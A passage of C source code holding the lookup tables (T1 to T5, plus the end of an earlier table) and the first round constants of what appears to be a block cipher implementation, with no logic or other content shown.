0xd7b37bc8U, 0x3a74e89cU, 0xc88d078aU, 0x3c78f088U,
0xfae9cf26U, 0x96316253U, 0xa753a6f5U, 0x982d5a77U,
0xecc59752U, 0xb86ddab7U, 0xc7933ba8U, 0xae4182c3U,
0x69d2b96bU, 0x4b9631a7U, 0xab4b96ddU, 0xa94f9ed1U,
0x67ce814fU, 0x0a14283cU, 0x478e018fU, 0xf2f9ef16U,
0xb577ee99U, 0x224488ccU, 0xe5d7b364U, 0xeec19f5eU,
0xbe61c2a3U, 0x2b56acfaU, 0x811f3e21U, 0x1224486cU,
0x831b362dU, 0x1b366c5aU, 0x0e1c3824U, 0x23468ccaU,
0xf5f7f304U, 0x458a0983U, 0x214284c6U, 0xce811f9eU,
0x499239abU, 0x2c58b0e8U, 0xf9efc32cU, 0xe6d1bf6eU,
0xb671e293U, 0x2850a0f0U, 0x172e5c72U, 0x8219322bU,
0x1a34685cU, 0x8b0b161dU, 0xfee1df3eU, 0x8a09121bU,
0x09122436U, 0xc98f038cU, 0x87132635U, 0x4e9c25b9U,
0xe1dfa37cU, 0x2e5cb8e4U, 0xe4d5b762U, 0xe0dda77aU,
0xebcb8b40U, 0x903d7a47U, 0xa455aaffU, 0x1e3c7844U,
0x85172e39U, 0x60c09d5dU, 0x00000000U, 0x254a94deU,
0xf4f5f702U, 0xf1ffe31cU, 0x94356a5fU, 0x0b162c3aU,
0xe7d3bb68U, 0x75eac923U, 0xefc39b58U, 0x3468d0b8U,
0x3162c4a6U, 0xd4b577c2U, 0xd0bd67daU, 0x86112233U,
0x7efce519U, 0xad478ec9U, 0xfde7d334U, 0x2952a4f6U,
0x3060c0a0U, 0x3b76ec9aU, 0x9f234665U, 0xf8edc72aU,
0xc6913faeU, 0x13264c6aU, 0x060c1814U, 0x050a141eU,
0xc59733a4U, 0x11224466U, 0x77eec12fU, 0x7cf8ed15U,
0x7af4f501U, 0x78f0fd0dU, 0x366cd8b4U, 0x1c387048U,
0x3972e496U, 0x59b279cbU, 0x18306050U, 0x56ac45e9U,
0xb37bf68dU, 0xb07dfa87U, 0x244890d8U, 0x204080c0U,
0xb279f28bU, 0x9239724bU, 0xa35bb6edU, 0xc09d27baU,
0x44880d85U, 0x62c49551U, 0x10204060U, 0xb475ea9fU,
0x84152a3fU, 0x43861197U, 0x933b764dU, 0xc2992fb6U,
0x4a9435a1U, 0xbd67cea9U, 0x8f030605U, 0x2d5ab4eeU,
0xbc65caafU, 0x9c254a6fU, 0x6ad4b561U, 0x40801d9dU,
0xcf831b98U, 0xa259b2ebU, 0x801d3a27U, 0x4f9e21bfU,
0x1f3e7c42U, 0xca890f86U, 0xaa4992dbU, 0x42841591U,
};
static const u32 T1[256] = {
0x69babbd2U, 0xa854e54dU, 0x5e2fe2bcU, 0xe87425cdU,
0xa653f751U, 0xbbd3d06bU, 0xb9d2d66fU, 0x9a4db329U,
0xa050fd5dU, 0x45accf8aU, 0x078d090eU, 0x63bfa5c6U,
0xe0703dddU, 0xa452f155U, 0x299a7b52U, 0x984cb52dU,
0xc9ea468fU, 0xb7d5c473U, 0x33975566U, 0xbfd1dc63U,
0x6633aaccU, 0xa251fb59U, 0xb65bc771U, 0x51a6f3a2U,
0xa1defe5fU, 0x9048ad3dU, 0x4da8d79aU, 0x2f99715eU,
0xabdbe04bU, 0x6432acc8U, 0x73b795e6U, 0xe5fc32d7U,
0xdbe370abU, 0x219e6342U, 0x3f91417eU, 0x2b9b7d56U,
0xd9e276afU, 0x6bbbbdd6U, 0x82419b19U, 0xdc6e79a5U,
0x57a5f9aeU, 0x8bcb800bU, 0xd66b67b1U, 0x3795596eU,
0x5fa1e1beU, 0xfbf310ebU, 0x7fb181feU, 0x04020c08U,
0x85cc9217U, 0x95c4a237U, 0x3a1d4e74U, 0x28147850U,
0x9bc3b02bU, 0xc6635791U, 0xa9dae64fU, 0xba5dd369U,
0xbe5fdf61U, 0xa5dcf257U, 0xfa7d13e9U, 0x87cd9413U,
0xfe7f1fe1U, 0xb45ac175U, 0xd86c75adU, 0xb85cd56dU,
0xf3f708fbU, 0x4c26d498U, 0xe3ff38dbU, 0xc7ed5493U,
0xcde84a87U, 0x279d694eU, 0xde6f7fa1U, 0x018e0302U,
0x32195664U, 0x5da0e7baU, 0xfdf01ae7U, 0x0f89111eU,
0x1e0f223cU, 0x0e07121cU, 0x43afc586U, 0xebfb20cbU,
0x10083020U, 0x2a157e54U, 0x1a0d2e34U, 0x08041810U,
0x02010604U, 0xc864458dU, 0xa3dff85bU, 0xec7629c5U,
0xf2790bf9U, 0xa7ddf453U, 0x7a3d8ef4U, 0x2c167458U,
0x7e3f82fcU, 0x6e37b2dcU, 0xda6d73a9U, 0x703890e0U,
0x6fb9b1deU, 0xe67337d1U, 0xcfe94c83U, 0x6a35bed4U,
0xaa55e349U, 0xe2713bd9U, 0xf67b07f1U, 0x058c0f0aU,
0xe47231d5U, 0x0d88171aU, 0xf1f60effU, 0x542afca8U,
0x7c3e84f8U, 0xbc5ed965U, 0x4e27d29cU, 0x8c468905U,
0x180c2830U, 0xca654389U, 0xd0686dbdU, 0xc2615b99U,
0x06030a0cU, 0x9fc1bc23U, 0xae57ef41U, 0xb1d6ce7fU,
0xafd9ec43U, 0xb058cd7dU, 0xadd8ea47U, 0xcc664985U,
0xb3d7c87bU, 0x743a9ce8U, 0x8dc88a07U, 0x783c88f0U,
0xe9fa26cfU, 0x31965362U, 0x53a7f5a6U, 0x2d98775aU,
0xc5ec5297U, 0x6db8b7daU, 0x93c7a83bU, 0x41aec382U,
0xd2696bb9U, 0x964ba731U, 0x4babdd96U, 0x4fa9d19eU,
0xce674f81U, 0x140a3c28U, 0x8e478f01U, 0xf9f216efU,
0x77b599eeU, 0x4422cc88U, 0xd7e564b3U, 0xc1ee5e9fU,
0x61bea3c2U, 0x562bfaacU, 0x1f81213eU, 0x24126c48U,
0x1b832d36U, 0x361b5a6cU, 0x1c0e2438U, 0x4623ca8cU,
0xf7f504f3U, 0x8a458309U, 0x4221c684U, 0x81ce9e1fU,
0x9249ab39U, 0x582ce8b0U, 0xeff92cc3U, 0xd1e66ebfU,
0x71b693e2U, 0x5028f0a0U, 0x2e17725cU, 0x19822b32U,
0x341a5c68U, 0x0b8b1d16U, 0xe1fe3edfU, 0x098a1b12U,
0x12093624U, 0x8fc98c03U, 0x13873526U, 0x9c4eb925U,
0xdfe17ca3U, 0x5c2ee4b8U, 0xd5e462b7U, 0xdde07aa7U,
0xcbeb408bU, 0x3d90477aU, 0x55a4ffaaU, 0x3c1e4478U,
0x1785392eU, 0xc0605d9dU, 0x00000000U, 0x4a25de94U,
0xf5f402f7U, 0xfff11ce3U, 0x35945f6aU, 0x160b3a2cU,
0xd3e768bbU, 0xea7523c9U, 0xc3ef589bU, 0x6834b8d0U,
0x6231a6c4U, 0xb5d4c277U, 0xbdd0da67U, 0x11863322U,
0xfc7e19e5U, 0x47adc98eU, 0xe7fd34d3U, 0x5229f6a4U,
0x6030a0c0U, 0x763b9aecU, 0x239f6546U, 0xedf82ac7U,
0x91c6ae3fU, 0x26136a4cU, 0x0c061418U, 0x0a051e14U,
0x97c5a433U, 0x22116644U, 0xee772fc1U, 0xf87c15edU,
0xf47a01f5U, 0xf0780dfdU, 0x6c36b4d8U, 0x381c4870U,
0x723996e4U, 0xb259cb79U, 0x30185060U, 0xac56e945U,
0x7bb38df6U, 0x7db087faU, 0x4824d890U, 0x4020c080U,
0x79b28bf2U, 0x39924b72U, 0x5ba3edb6U, 0x9dc0ba27U,
0x8844850dU, 0xc4625195U, 0x20106040U, 0x75b49feaU,
0x15843f2aU, 0x86439711U, 0x3b934d76U, 0x99c2b62fU,
0x944aa135U, 0x67bda9ceU, 0x038f0506U, 0x5a2deeb4U,
0x65bcafcaU, 0x259c6f4aU, 0xd46a61b5U, 0x80409d1dU,
0x83cf981bU, 0x59a2ebb2U, 0x1d80273aU, 0x9e4fbf21U,
0x3e1f427cU, 0x89ca860fU, 0x49aadb92U, 0x84429115U,
};
static const u32 T2[256] = {
0xd2bbba69U, 0x4de554a8U, 0xbce22f5eU, 0xcd2574e8U,
0x51f753a6U, 0x6bd0d3bbU, 0x6fd6d2b9U, 0x29b34d9aU,
0x5dfd50a0U, 0x8acfac45U, 0x0e098d07U, 0xc6a5bf63U,
0xdd3d70e0U, 0x55f152a4U, 0x527b9a29U, 0x2db54c98U,
0x8f46eac9U, 0x73c4d5b7U, 0x66559733U, 0x63dcd1bfU,
0xccaa3366U, 0x59fb51a2U, 0x71c75bb6U, 0xa2f3a651U,
0x5ffedea1U, 0x3dad4890U, 0x9ad7a84dU, 0x5e71992fU,
0x4be0dbabU, 0xc8ac3264U, 0xe695b773U, 0xd732fce5U,
0xab70e3dbU, 0x42639e21U, 0x7e41913fU, 0x567d9b2bU,
0xaf76e2d9U, 0xd6bdbb6bU, 0x199b4182U, 0xa5796edcU,
0xaef9a557U, 0x0b80cb8bU, 0xb1676bd6U, 0x6e599537U,
0xbee1a15fU, 0xeb10f3fbU, 0xfe81b17fU, 0x080c0204U,
0x1792cc85U, 0x37a2c495U, 0x744e1d3aU, 0x50781428U,
0x2bb0c39bU, 0x915763c6U, 0x4fe6daa9U, 0x69d35dbaU,
0x61df5fbeU, 0x57f2dca5U, 0xe9137dfaU, 0x1394cd87U,
0xe11f7ffeU, 0x75c15ab4U, 0xad756cd8U, 0x6dd55cb8U,
0xfb08f7f3U, 0x98d4264cU, 0xdb38ffe3U, 0x9354edc7U,
0x874ae8cdU, 0x4e699d27U, 0xa17f6fdeU, 0x02038e01U,
0x64561932U, 0xbae7a05dU, 0xe71af0fdU, 0x1e11890fU,
0x3c220f1eU, 0x1c12070eU, 0x86c5af43U, 0xcb20fbebU,
0x20300810U, 0x547e152aU, 0x342e0d1aU, 0x10180408U,
0x04060102U, 0x8d4564c8U, 0x5bf8dfa3U, 0xc52976ecU,
0xf90b79f2U, 0x53f4dda7U, 0xf48e3d7aU, 0x5874162cU,
0xfc823f7eU, 0xdcb2376eU, 0xa9736ddaU, 0xe0903870U,
0xdeb1b96fU, 0xd13773e6U, 0x834ce9cfU, 0xd4be356aU,
0x49e355aaU, 0xd93b71e2U, 0xf1077bf6U, 0x0a0f8c05U,
0xd53172e4U, 0x1a17880dU, 0xff0ef6f1U, 0xa8fc2a54U,
0xf8843e7cU, 0x65d95ebcU, 0x9cd2274eU, 0x0589468cU,
0x30280c18U, 0x894365caU, 0xbd6d68d0U, 0x995b61c2U,
0x0c0a0306U, 0x23bcc19fU, 0x41ef57aeU, 0x7fced6b1U,
0x43ecd9afU, 0x7dcd58b0U, 0x47ead8adU, 0x854966ccU,
0x7bc8d7b3U, 0xe89c3a74U, 0x078ac88dU, 0xf0883c78U,
0xcf26fae9U, 0x62539631U, 0xa6f5a753U, 0x5a77982dU,
0x9752ecc5U, 0xdab7b86dU, 0x3ba8c793U, 0x82c3ae41U,
0xb96b69d2U, 0x31a74b96U, 0x96ddab4bU, 0x9ed1a94fU,
0x814f67ceU, 0x283c0a14U, 0x018f478eU, 0xef16f2f9U,
0xee99b577U, 0x88cc2244U, 0xb364e5d7U, 0x9f5eeec1U,
0xc2a3be61U, 0xacfa2b56U, 0x3e21811fU, 0x486c1224U,
0x362d831bU, 0x6c5a1b36U, 0x38240e1cU, 0x8cca2346U,
0xf304f5f7U, 0x0983458aU, 0x84c62142U, 0x1f9ece81U,
0x39ab4992U, 0xb0e82c58U, 0xc32cf9efU, 0xbf6ee6d1U,
0xe293b671U, 0xa0f02850U, 0x5c72172eU, 0x322b8219U,
0x685c1a34U, 0x161d8b0bU, 0xdf3efee1U, 0x121b8a09U,
0x24360912U, 0x038cc98fU, 0x26358713U, 0x25b94e9cU,
0xa37ce1dfU, 0xb8e42e5cU, 0xb762e4d5U, 0xa77ae0ddU,
0x8b40ebcbU, 0x7a47903dU, 0xaaffa455U, 0x78441e3cU,
0x2e398517U, 0x9d5d60c0U, 0x00000000U, 0x94de254aU,
0xf702f4f5U, 0xe31cf1ffU, 0x6a5f9435U, 0x2c3a0b16U,
0xbb68e7d3U, 0xc92375eaU, 0x9b58efc3U, 0xd0b83468U,
0xc4a63162U, 0x77c2d4b5U, 0x67dad0bdU, 0x22338611U,
0xe5197efcU, 0x8ec9ad47U, 0xd334fde7U, 0xa4f62952U,
0xc0a03060U, 0xec9a3b76U, 0x46659f23U, 0xc72af8edU,
0x3faec691U, 0x4c6a1326U, 0x1814060cU, 0x141e050aU,
0x33a4c597U, 0x44661122U, 0xc12f77eeU, 0xed157cf8U,
0xf5017af4U, 0xfd0d78f0U, 0xd8b4366cU, 0x70481c38U,
0xe4963972U, 0x79cb59b2U, 0x60501830U, 0x45e956acU,
0xf68db37bU, 0xfa87b07dU, 0x90d82448U, 0x80c02040U,
0xf28bb279U, 0x724b9239U, 0xb6eda35bU, 0x27bac09dU,
0x0d854488U, 0x955162c4U, 0x40601020U, 0xea9fb475U,
0x2a3f8415U, 0x11974386U, 0x764d933bU, 0x2fb6c299U,
0x35a14a94U, 0xcea9bd67U, 0x06058f03U, 0xb4ee2d5aU,
0xcaafbc65U, 0x4a6f9c25U, 0xb5616ad4U, 0x1d9d4080U,
0x1b98cf83U, 0xb2eba259U, 0x3a27801dU, 0x21bf4f9eU,
0x7c421f3eU, 0x0f86ca89U, 0x92dbaa49U, 0x15914284U,
};
static const u32 T3[256] = {
0xbbd269baU, 0xe54da854U, 0xe2bc5e2fU, 0x25cde874U,
0xf751a653U, 0xd06bbbd3U, 0xd66fb9d2U, 0xb3299a4dU,
0xfd5da050U, 0xcf8a45acU, 0x090e078dU, 0xa5c663bfU,
0x3ddde070U, 0xf155a452U, 0x7b52299aU, 0xb52d984cU,
0x468fc9eaU, 0xc473b7d5U, 0x55663397U, 0xdc63bfd1U,
0xaacc6633U, 0xfb59a251U, 0xc771b65bU, 0xf3a251a6U,
0xfe5fa1deU, 0xad3d9048U, 0xd79a4da8U, 0x715e2f99U,
0xe04babdbU, 0xacc86432U, 0x95e673b7U, 0x32d7e5fcU,
0x70abdbe3U, 0x6342219eU, 0x417e3f91U, 0x7d562b9bU,
0x76afd9e2U, 0xbdd66bbbU, 0x9b198241U, 0x79a5dc6eU,
0xf9ae57a5U, 0x800b8bcbU, 0x67b1d66bU, 0x596e3795U,
0xe1be5fa1U, 0x10ebfbf3U, 0x81fe7fb1U, 0x0c080402U,
0x921785ccU, 0xa23795c4U, 0x4e743a1dU, 0x78502814U,
0xb02b9bc3U, 0x5791c663U, 0xe64fa9daU, 0xd369ba5dU,
0xdf61be5fU, 0xf257a5dcU, 0x13e9fa7dU, 0x941387cdU,
0x1fe1fe7fU, 0xc175b45aU, 0x75add86cU, 0xd56db85cU,
0x08fbf3f7U, 0xd4984c26U, 0x38dbe3ffU, 0x5493c7edU,
0x4a87cde8U, 0x694e279dU, 0x7fa1de6fU, 0x0302018eU,
0x56643219U, 0xe7ba5da0U, 0x1ae7fdf0U, 0x111e0f89U,
0x223c1e0fU, 0x121c0e07U, 0xc58643afU, 0x20cbebfbU,
0x30201008U, 0x7e542a15U, 0x2e341a0dU, 0x18100804U,
0x06040201U, 0x458dc864U, 0xf85ba3dfU, 0x29c5ec76U,
0x0bf9f279U, 0xf453a7ddU, 0x8ef47a3dU, 0x74582c16U,
0x82fc7e3fU, 0xb2dc6e37U, 0x73a9da6dU, 0x90e07038U,
0xb1de6fb9U, 0x37d1e673U, 0x4c83cfe9U, 0xbed46a35U,
0xe349aa55U, 0x3bd9e271U, 0x07f1f67bU, 0x0f0a058cU,
0x31d5e472U, 0x171a0d88U, 0x0efff1f6U, 0xfca8542aU,
0x84f87c3eU, 0xd965bc5eU, 0xd29c4e27U, 0x89058c46U,
0x2830180cU, 0x4389ca65U, 0x6dbdd068U, 0x5b99c261U,
0x0a0c0603U, 0xbc239fc1U, 0xef41ae57U, 0xce7fb1d6U,
0xec43afd9U, 0xcd7db058U, 0xea47add8U, 0x4985cc66U,
0xc87bb3d7U, 0x9ce8743aU, 0x8a078dc8U, 0x88f0783cU,
0x26cfe9faU, 0x53623196U, 0xf5a653a7U, 0x775a2d98U,
0x5297c5ecU, 0xb7da6db8U, 0xa83b93c7U, 0xc38241aeU,
0x6bb9d269U, 0xa731964bU, 0xdd964babU, 0xd19e4fa9U,
0x4f81ce67U, 0x3c28140aU, 0x8f018e47U, 0x16eff9f2U,
0x99ee77b5U, 0xcc884422U, 0x64b3d7e5U, 0x5e9fc1eeU,
0xa3c261beU, 0xfaac562bU, 0x213e1f81U, 0x6c482412U,
0x2d361b83U, 0x5a6c361bU, 0x24381c0eU, 0xca8c4623U,
0x04f3f7f5U, 0x83098a45U, 0xc6844221U, 0x9e1f81ceU,
0xab399249U, 0xe8b0582cU, 0x2cc3eff9U, 0x6ebfd1e6U,
0x93e271b6U, 0xf0a05028U, 0x725c2e17U, 0x2b321982U,
0x5c68341aU, 0x1d160b8bU, 0x3edfe1feU, 0x1b12098aU,
0x36241209U, 0x8c038fc9U, 0x35261387U, 0xb9259c4eU,
0x7ca3dfe1U, 0xe4b85c2eU, 0x62b7d5e4U, 0x7aa7dde0U,
0x408bcbebU, 0x477a3d90U, 0xffaa55a4U, 0x44783c1eU,
0x392e1785U, 0x5d9dc060U, 0x00000000U, 0xde944a25U,
0x02f7f5f4U, 0x1ce3fff1U, 0x5f6a3594U, 0x3a2c160bU,
0x68bbd3e7U, 0x23c9ea75U, 0x589bc3efU, 0xb8d06834U,
0xa6c46231U, 0xc277b5d4U, 0xda67bdd0U, 0x33221186U,
0x19e5fc7eU, 0xc98e47adU, 0x34d3e7fdU, 0xf6a45229U,
0xa0c06030U, 0x9aec763bU, 0x6546239fU, 0x2ac7edf8U,
0xae3f91c6U, 0x6a4c2613U, 0x14180c06U, 0x1e140a05U,
0xa43397c5U, 0x66442211U, 0x2fc1ee77U, 0x15edf87cU,
0x01f5f47aU, 0x0dfdf078U, 0xb4d86c36U, 0x4870381cU,
0x96e47239U, 0xcb79b259U, 0x50603018U, 0xe945ac56U,
0x8df67bb3U, 0x87fa7db0U, 0xd8904824U, 0xc0804020U,
0x8bf279b2U, 0x4b723992U, 0xedb65ba3U, 0xba279dc0U,
0x850d8844U, 0x5195c462U, 0x60402010U, 0x9fea75b4U,
0x3f2a1584U, 0x97118643U, 0x4d763b93U, 0xb62f99c2U,
0xa135944aU, 0xa9ce67bdU, 0x0506038fU, 0xeeb45a2dU,
0xafca65bcU, 0x6f4a259cU, 0x61b5d46aU, 0x9d1d8040U,
0x981b83cfU, 0xebb259a2U, 0x273a1d80U, 0xbf219e4fU,
0x427c3e1fU, 0x860f89caU, 0xdb9249aaU, 0x91158442U,
};
static const u32 T4[256] = {
0xbabababaU, 0x54545454U, 0x2f2f2f2fU, 0x74747474U,
0x53535353U, 0xd3d3d3d3U, 0xd2d2d2d2U, 0x4d4d4d4dU,
0x50505050U, 0xacacacacU, 0x8d8d8d8dU, 0xbfbfbfbfU,
0x70707070U, 0x52525252U, 0x9a9a9a9aU, 0x4c4c4c4cU,
0xeaeaeaeaU, 0xd5d5d5d5U, 0x97979797U, 0xd1d1d1d1U,
0x33333333U, 0x51515151U, 0x5b5b5b5bU, 0xa6a6a6a6U,
0xdedededeU, 0x48484848U, 0xa8a8a8a8U, 0x99999999U,
0xdbdbdbdbU, 0x32323232U, 0xb7b7b7b7U, 0xfcfcfcfcU,
0xe3e3e3e3U, 0x9e9e9e9eU, 0x91919191U, 0x9b9b9b9bU,
0xe2e2e2e2U, 0xbbbbbbbbU, 0x41414141U, 0x6e6e6e6eU,
0xa5a5a5a5U, 0xcbcbcbcbU, 0x6b6b6b6bU, 0x95959595U,
0xa1a1a1a1U, 0xf3f3f3f3U, 0xb1b1b1b1U, 0x02020202U,
0xccccccccU, 0xc4c4c4c4U, 0x1d1d1d1dU, 0x14141414U,
0xc3c3c3c3U, 0x63636363U, 0xdadadadaU, 0x5d5d5d5dU,
0x5f5f5f5fU, 0xdcdcdcdcU, 0x7d7d7d7dU, 0xcdcdcdcdU,
0x7f7f7f7fU, 0x5a5a5a5aU, 0x6c6c6c6cU, 0x5c5c5c5cU,
0xf7f7f7f7U, 0x26262626U, 0xffffffffU, 0xededededU,
0xe8e8e8e8U, 0x9d9d9d9dU, 0x6f6f6f6fU, 0x8e8e8e8eU,
0x19191919U, 0xa0a0a0a0U, 0xf0f0f0f0U, 0x89898989U,
0x0f0f0f0fU, 0x07070707U, 0xafafafafU, 0xfbfbfbfbU,
0x08080808U, 0x15151515U, 0x0d0d0d0dU, 0x04040404U,
0x01010101U, 0x64646464U, 0xdfdfdfdfU, 0x76767676U,
0x79797979U, 0xddddddddU, 0x3d3d3d3dU, 0x16161616U,
0x3f3f3f3fU, 0x37373737U, 0x6d6d6d6dU, 0x38383838U,
0xb9b9b9b9U, 0x73737373U, 0xe9e9e9e9U, 0x35353535U,
0x55555555U, 0x71717171U, 0x7b7b7b7bU, 0x8c8c8c8cU,
0x72727272U, 0x88888888U, 0xf6f6f6f6U, 0x2a2a2a2aU,
0x3e3e3e3eU, 0x5e5e5e5eU, 0x27272727U, 0x46464646U,
0x0c0c0c0cU, 0x65656565U, 0x68686868U, 0x61616161U,
0x03030303U, 0xc1c1c1c1U, 0x57575757U, 0xd6d6d6d6U,
0xd9d9d9d9U, 0x58585858U, 0xd8d8d8d8U, 0x66666666U,
0xd7d7d7d7U, 0x3a3a3a3aU, 0xc8c8c8c8U, 0x3c3c3c3cU,
0xfafafafaU, 0x96969696U, 0xa7a7a7a7U, 0x98989898U,
0xececececU, 0xb8b8b8b8U, 0xc7c7c7c7U, 0xaeaeaeaeU,
0x69696969U, 0x4b4b4b4bU, 0xababababU, 0xa9a9a9a9U,
0x67676767U, 0x0a0a0a0aU, 0x47474747U, 0xf2f2f2f2U,
0xb5b5b5b5U, 0x22222222U, 0xe5e5e5e5U, 0xeeeeeeeeU,
0xbebebebeU, 0x2b2b2b2bU, 0x81818181U, 0x12121212U,
0x83838383U, 0x1b1b1b1bU, 0x0e0e0e0eU, 0x23232323U,
0xf5f5f5f5U, 0x45454545U, 0x21212121U, 0xcecececeU,
0x49494949U, 0x2c2c2c2cU, 0xf9f9f9f9U, 0xe6e6e6e6U,
0xb6b6b6b6U, 0x28282828U, 0x17171717U, 0x82828282U,
0x1a1a1a1aU, 0x8b8b8b8bU, 0xfefefefeU, 0x8a8a8a8aU,
0x09090909U, 0xc9c9c9c9U, 0x87878787U, 0x4e4e4e4eU,
0xe1e1e1e1U, 0x2e2e2e2eU, 0xe4e4e4e4U, 0xe0e0e0e0U,
0xebebebebU, 0x90909090U, 0xa4a4a4a4U, 0x1e1e1e1eU,
0x85858585U, 0x60606060U, 0x00000000U, 0x25252525U,
0xf4f4f4f4U, 0xf1f1f1f1U, 0x94949494U, 0x0b0b0b0bU,
0xe7e7e7e7U, 0x75757575U, 0xefefefefU, 0x34343434U,
0x31313131U, 0xd4d4d4d4U, 0xd0d0d0d0U, 0x86868686U,
0x7e7e7e7eU, 0xadadadadU, 0xfdfdfdfdU, 0x29292929U,
0x30303030U, 0x3b3b3b3bU, 0x9f9f9f9fU, 0xf8f8f8f8U,
0xc6c6c6c6U, 0x13131313U, 0x06060606U, 0x05050505U,
0xc5c5c5c5U, 0x11111111U, 0x77777777U, 0x7c7c7c7cU,
0x7a7a7a7aU, 0x78787878U, 0x36363636U, 0x1c1c1c1cU,
0x39393939U, 0x59595959U, 0x18181818U, 0x56565656U,
0xb3b3b3b3U, 0xb0b0b0b0U, 0x24242424U, 0x20202020U,
0xb2b2b2b2U, 0x92929292U, 0xa3a3a3a3U, 0xc0c0c0c0U,
0x44444444U, 0x62626262U, 0x10101010U, 0xb4b4b4b4U,
0x84848484U, 0x43434343U, 0x93939393U, 0xc2c2c2c2U,
0x4a4a4a4aU, 0xbdbdbdbdU, 0x8f8f8f8fU, 0x2d2d2d2dU,
0xbcbcbcbcU, 0x9c9c9c9cU, 0x6a6a6a6aU, 0x40404040U,
0xcfcfcfcfU, 0xa2a2a2a2U, 0x80808080U, 0x4f4f4f4fU,
0x1f1f1f1fU, 0xcacacacaU, 0xaaaaaaaaU, 0x42424242U,
};
static const u32 T5[256] = {
0x00000000U, 0x01020608U, 0x02040c10U, 0x03060a18U,
0x04081820U, 0x050a1e28U, 0x060c1430U, 0x070e1238U,
0x08103040U, 0x09123648U, 0x0a143c50U, 0x0b163a58U,
0x0c182860U, 0x0d1a2e68U, 0x0e1c2470U, 0x0f1e2278U,
0x10206080U, 0x11226688U, 0x12246c90U, 0x13266a98U,
0x142878a0U, 0x152a7ea8U, 0x162c74b0U, 0x172e72b8U,
0x183050c0U, 0x193256c8U, 0x1a345cd0U, 0x1b365ad8U,
0x1c3848e0U, 0x1d3a4ee8U, 0x1e3c44f0U, 0x1f3e42f8U,
0x2040c01dU, 0x2142c615U, 0x2244cc0dU, 0x2346ca05U,
0x2448d83dU, 0x254ade35U, 0x264cd42dU, 0x274ed225U,
0x2850f05dU, 0x2952f655U, 0x2a54fc4dU, 0x2b56fa45U,
0x2c58e87dU, 0x2d5aee75U, 0x2e5ce46dU, 0x2f5ee265U,
0x3060a09dU, 0x3162a695U, 0x3264ac8dU, 0x3366aa85U,
0x3468b8bdU, 0x356abeb5U, 0x366cb4adU, 0x376eb2a5U,
0x387090ddU, 0x397296d5U, 0x3a749ccdU, 0x3b769ac5U,
0x3c7888fdU, 0x3d7a8ef5U, 0x3e7c84edU, 0x3f7e82e5U,
0x40809d3aU, 0x41829b32U, 0x4284912aU, 0x43869722U,
0x4488851aU, 0x458a8312U, 0x468c890aU, 0x478e8f02U,
0x4890ad7aU, 0x4992ab72U, 0x4a94a16aU, 0x4b96a762U,
0x4c98b55aU, 0x4d9ab352U, 0x4e9cb94aU, 0x4f9ebf42U,
0x50a0fdbaU, 0x51a2fbb2U, 0x52a4f1aaU, 0x53a6f7a2U,
0x54a8e59aU, 0x55aae392U, 0x56ace98aU, 0x57aeef82U,
0x58b0cdfaU, 0x59b2cbf2U, 0x5ab4c1eaU, 0x5bb6c7e2U,
0x5cb8d5daU, 0x5dbad3d2U, 0x5ebcd9caU, 0x5fbedfc2U,
0x60c05d27U, 0x61c25b2fU, 0x62c45137U, 0x63c6573fU,
0x64c84507U, 0x65ca430fU, 0x66cc4917U, 0x67ce4f1fU,
0x68d06d67U, 0x69d26b6fU, 0x6ad46177U, 0x6bd6677fU,
0x6cd87547U, 0x6dda734fU, 0x6edc7957U, 0x6fde7f5fU,
0x70e03da7U, 0x71e23bafU, 0x72e431b7U, 0x73e637bfU,
0x74e82587U, 0x75ea238fU, 0x76ec2997U, 0x77ee2f9fU,
0x78f00de7U, 0x79f20befU, 0x7af401f7U, 0x7bf607ffU,
0x7cf815c7U, 0x7dfa13cfU, 0x7efc19d7U, 0x7ffe1fdfU,
0x801d2774U, 0x811f217cU, 0x82192b64U, 0x831b2d6cU,
0x84153f54U, 0x8517395cU, 0x86113344U, 0x8713354cU,
0x880d1734U, 0x890f113cU, 0x8a091b24U, 0x8b0b1d2cU,
0x8c050f14U, 0x8d07091cU, 0x8e010304U, 0x8f03050cU,
0x903d47f4U, 0x913f41fcU, 0x92394be4U, 0x933b4decU,
0x94355fd4U, 0x953759dcU, 0x963153c4U, 0x973355ccU,
0x982d77b4U, 0x992f71bcU, 0x9a297ba4U, 0x9b2b7dacU,
0x9c256f94U, 0x9d27699cU, 0x9e216384U, 0x9f23658cU,
0xa05de769U, 0xa15fe161U, 0xa259eb79U, 0xa35bed71U,
0xa455ff49U, 0xa557f941U, 0xa651f359U, 0xa753f551U,
0xa84dd729U, 0xa94fd121U, 0xaa49db39U, 0xab4bdd31U,
0xac45cf09U, 0xad47c901U, 0xae41c319U, 0xaf43c511U,
0xb07d87e9U, 0xb17f81e1U, 0xb2798bf9U, 0xb37b8df1U,
0xb4759fc9U, 0xb57799c1U, 0xb67193d9U, 0xb77395d1U,
0xb86db7a9U, 0xb96fb1a1U, 0xba69bbb9U, 0xbb6bbdb1U,
0xbc65af89U, 0xbd67a981U, 0xbe61a399U, 0xbf63a591U,
0xc09dba4eU, 0xc19fbc46U, 0xc299b65eU, 0xc39bb056U,
0xc495a26eU, 0xc597a466U, 0xc691ae7eU, 0xc793a876U,
0xc88d8a0eU, 0xc98f8c06U, 0xca89861eU, 0xcb8b8016U,
0xcc85922eU, 0xcd879426U, 0xce819e3eU, 0xcf839836U,
0xd0bddaceU, 0xd1bfdcc6U, 0xd2b9d6deU, 0xd3bbd0d6U,
0xd4b5c2eeU, 0xd5b7c4e6U, 0xd6b1cefeU, 0xd7b3c8f6U,
0xd8adea8eU, 0xd9afec86U, 0xdaa9e69eU, 0xdbabe096U,
0xdca5f2aeU, 0xdda7f4a6U, 0xdea1febeU, 0xdfa3f8b6U,
0xe0dd7a53U, 0xe1df7c5bU, 0xe2d97643U, 0xe3db704bU,
0xe4d56273U, 0xe5d7647bU, 0xe6d16e63U, 0xe7d3686bU,
0xe8cd4a13U, 0xe9cf4c1bU, 0xeac94603U, 0xebcb400bU,
0xecc55233U, 0xedc7543bU, 0xeec15e23U, 0xefc3582bU,
0xf0fd1ad3U, 0xf1ff1cdbU, 0xf2f916c3U, 0xf3fb10cbU,
0xf4f502f3U, 0xf5f704fbU, 0xf6f10ee3U, 0xf7f308ebU,
0xf8ed2a93U, 0xf9ef2c9bU, 0xfae92683U, 0xfbeb208bU,
0xfce532b3U, 0xfde734bbU, 0xfee13ea3U, 0xffe338abU,
};
static const u32 rc[] = {
0xba542f74U, 0x53d3d24dU, 0x50ac8dbfU, 0x70529a4cU,
0xead597d1U, 0x33515ba6U, 0xde48a899U, 0xdb32b7fcU,
0xe39e919bU, 0xe2bb416eU, 0xa5cb6b95U, 0xa1f3b102U,
